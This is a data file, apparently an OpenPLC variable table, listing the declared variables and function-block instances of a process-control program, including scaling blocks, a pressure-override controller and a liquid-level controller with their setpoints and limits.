+236;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;INT; +237;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;INT; +238;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;INT; +239;VAR;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;UINT; +240;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1;SCALE_TO_SIGNED; +241;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.EN;BOOL; +242;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ENO;BOOL; +243;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT;UINT; +244;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT;INT; +245;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT;UINT; +246;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT;UINT; +247;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT;INT; +248;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2;SCALE_TO_SIGNED; +249;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.EN;BOOL; +250;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ENO;BOOL; +251;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT;UINT; +252;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT;INT; +253;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT;UINT; +254;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT;UINT; +255;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT;INT; +256;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3;SCALE_TO_SIGNED; +257;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.EN;BOOL; +258;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ENO;BOOL; +259;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT;UINT; +260;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT;INT; +261;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT;UINT; +262;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT;UINT; +263;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT;INT; +264;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4;SCALE_TO_SIGNED; +265;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.EN;BOOL; +266;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ENO;BOOL; +267;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT;UINT; +268;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT;INT; +269;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT;UINT; +270;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT;UINT; +271;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT;INT; +272;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5;SCALE_TO_SIGNED; +273;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.EN;BOOL; +274;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ENO;BOOL; +275;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT;UINT; +276;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT;INT; +277;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT;UINT; +278;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT;UINT; +279;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT;INT; +280;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6;SCALE_TO_SIGNED; +281;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.EN;BOOL; +282;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ENO;BOOL; +283;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT;UINT; +284;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT;INT; +285;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT;UINT; +286;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT;UINT; +287;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT;INT; +288;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7;SCALE_TO_SIGNED; +289;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.EN;BOOL; +290;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ENO;BOOL; +291;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT;UINT; +292;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT;INT; +293;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT;UINT; +294;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT;UINT; +295;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT;INT; +296;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8;SCALE_TO_SIGNED; +297;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.EN;BOOL; +298;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ENO;BOOL; +299;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT;UINT; +300;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT;INT; +301;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT;UINT; +302;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT;UINT; +303;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT;INT; +304;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9;SCALE_TO_SIGNED; +305;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.EN;BOOL; +306;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ENO;BOOL; +307;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT;UINT; +308;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT;INT; +309;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT;UINT; +310;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT;UINT; +311;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT;INT; +312;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;PRESSURE_OVERRIDE; +313;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;BOOL; +314;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;BOOL; +315;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;REAL; +316;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;UINT; +317;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;UINT; +318;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;REAL; +319;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;REAL; +320;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;REAL; +321;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;REAL; +322;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;UINT; +323;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;REAL; +324;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;UINT; +325;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;REAL; +326;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;REAL; +327;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;TIME; +328;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;SCALE_TO_REAL; +329;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;BOOL; +330;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;BOOL; +331;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;UINT; +332;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;REAL; +333;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;REAL; +334;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;REAL; +335;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;UINT; +336;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;UINT; +337;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;REAL; +338;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;REAL; +339;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;REAL; +340;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;REAL; +343;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;SCALE_TO_REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;BOOL; +346;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +347;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; +348;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +349;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +350;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +353;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +354;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +355;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +356;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +357;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +358;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +359;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +360;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +361;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +362;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +363;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +364;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +367;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +369;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +370;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +371;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +372;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +373;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +374;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +375;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +376;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +377;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +378;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +379;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +380;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +381;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +382;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +383;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +384;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; 